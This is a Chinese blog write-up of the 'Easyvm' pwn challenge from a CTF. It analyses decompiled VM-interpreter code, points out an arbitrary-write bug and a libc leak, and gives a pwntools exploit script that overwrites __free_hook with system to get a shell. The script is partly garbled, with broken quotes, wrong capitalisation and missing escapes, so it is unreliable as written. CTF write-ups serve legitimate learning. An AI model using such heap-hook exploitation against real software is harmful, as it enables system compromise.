vmpwn一&高校战役Easyvm复现

29 篇文章 0 订阅

高校战役Easyvm

前言:本人tcl,刚接触vm不久,这个看了别人的wp感觉难度还可以,决定自己复现一下大佬勿喷哈
此题思路:就是依靠任意地址写来打freehook,然后再一把唆onegadget可以system也可以!!

int __cdecl main(int argc, const char argv, const char **envp)
{
void *buf; // ST2C_4
_DWORD *ptr; // [esp+18h] [ebp-18h]
int v5; // [esp+ACh] [ebp+7Ch]
sub_830();
ptr = sub_DD5();//数组表0-10,其中10是calloc
while ( 1 )
{
switch ( sub_931() )
{
  case 1:
    buf = malloc(0x300u);
    read(0, buf, 0x2FFu);
    ptr[8] = buf;//将数据opcode读取到了ptr[8]
    break;
  case 2:
    if ( !ptr )
      exit(0);
    sub_A16(ptr);  //(1) opcode
    break;
  case 3:
    if ( !ptr )
      exit(0);
    free((void *)ptr[10]);
    free(ptr);
    break;
  case 4:
    puts("Maybe a bug is a gif?");
    dword_305C = v5;//经过反复测试存在了一个libc地址
    ptr[8] = &unk_3020;  //(2)opcode表
    break;
  case 5:
    puts("Zzzzzz........");
    exit(0);
    return;
  default:
    puts("Are you kidding me ?");
    break;
}
}
}

以上是主函数的逻辑,也没啥,就是可以往freehook去想

我们看看opcode指令有那些:
(1):

*unsigned int __cdecl sub_A16(_DWORD a1)
{
int v1; // ecx
_BYTE *v2; // ST28_4
unsigned int result; // eax
unsigned int v4; // et1
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
while ( 1 )
{

if ( *(_BYTE *)a1[8] == 113 )
{
  a1[6] -= 4;
  *(_DWORD *)a1[6] = *(_DWORD *)(a1[8] + 1);   
  a1[8] += 5;
}
if ( *(_BYTE *)a1[8] == 65 )
{
  a1[1] += a1[2];//add
  ++a1[8];
}
if ( *(_BYTE *)a1[8] == 66 )
{
  a1[1] -= a1[4];   //sub
  ++a1[8];
}
if ( *(_BYTE *)a1[8] == 67 )
{
  a1[1] *= a1[3];    
  ++a1[8];
}
if ( *(_BYTE *)a1[8] == 68 )
{
  a1[1] /= a1[5];
  ++a1[8];
}
if ( *(_BYTE *)a1[8] == 0x80u )
{
  a1[sub_9C3((int)a1, 1u)] = *(_DWORD *)(a1[8] + 2);  //漏洞点,由于索引没有经过严格的控制所以存在漏洞,可以达到任意地址写
  a1[8] += 6;
}
if ( *(_BYTE *)a1[8] == 119 )
{
  a1[1] ^= a1[9];
  ++a1[8];
}
if ( *(_BYTE *)a1[8] == 83 )
{
  putchar(*(char *)a1[3]);  //可以用来泄露我们的东西
  a1[8] += 2;
}
if ( *(_BYTE *)a1[8] == 34 )
{
  v1 = a1[2];
  a1[1] >>= v1;
  ++a1[8];
}
if ( *(_BYTE *)a1[8] == 35 )
{
  v1 = a1[2];
  a1[1] <<= v1;
  ++a1[8];
}
if ( *(_BYTE *)a1[8] == -103 )
  break;
if ( *(_BYTE *)a1[8] == 118 )
{
  a1[3] = *(_DWORD *)a1[6];
  *(_DWORD *)a1[6] = 0;
  a1[6] += 4;
  a1[8] += 5;
}
if ( *(_BYTE *)a1[8] == 84 )
{
  v2 = (_BYTE *)a1[3];
  *v2 = getchar();   //真正的写入数据任意地址写,一次能写一个字节
  a1[8] += 2;
}
if ( *(_BYTE *)a1[8] == 48 )
{
  a1[1] |= a1[2];
  ++a1[8];
}
if ( *(_BYTE *)a1[8] == 49 )
{
  a1[1] &= a1[2];
  ++a1[8];
}
if ( *(_BYTE *)a1[8] == 9 )
{
  a1[1] = dword_305C;  可以发现把libc地址赋值给了它
  ++a1[8];
}
if ( *(_BYTE *)a1[8] == 16 )
{
  a1[9] = a1[1];
  ++a1[8];
}
if ( *(_BYTE *)a1[8] == 17 )
{
  printf("%p\n", a1[1]);//这里泄露libc
  ++a1[8];
}
}
v4 = __readgsdword(0x14u);
result = v4 ^ v5;
if ( v4 != v5 )
sub_1080(v1);
return result;
}

主要的程序已分析完毕,现在开始写exp:

from pwn import 
P=process(‘easyvm’)
def add(content):
p.sendlineafter(“>>>”,’1’)
p.send(content)
def free():
p.sendlineafter(“>>>”,’3’)
p.sendlineafter(‘>>>’,’4’)
Op1=’x09x11x99’
Add(op1)
p.sendlineafter(‘>>>’,’2’)
p.recvuntil(‘0x’)
Free_got=int(p.recv(8),16)+0x28fc
Libc_base=’’
for i in range(4): 
Op2=’x80’+chr(3)+p32(free_got+i)+’x53’+’x99’+’x99’
Add(op2)
P.sendlineafter(‘>>>’,2)
Libc_base+=p.recvuntil(‘duce’,True)[-1:]
System=libc_base+libc.sym[‘system’]
bin_addr=libc_base+next(libc.search(‘/bin/shx00’))
Free_hook=libc_base+libc.sym[‘free_hook’]
For i in range(4):
    op3=’\x80’+chr(3)+p32(free_hook+i)+’\x54’+’\x99’
    Add(op3)
    p.sendlineafter(‘>>>’,’2’)
    P.send(p32(system)[i])
For i in range(4):
   Op4=’\x80’+chr(16)+p32(bin_addr+i)+’\x99’+’\x99’
   Add(op4)
   p.sendlineafter(‘>>>’,’2’)
Free()
P.interactive()

总结:这道vm题难度尚可,对于我这种刚接触vm题型的人来说比较容易,也欢迎大佬门来喷我!!!!tcl

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值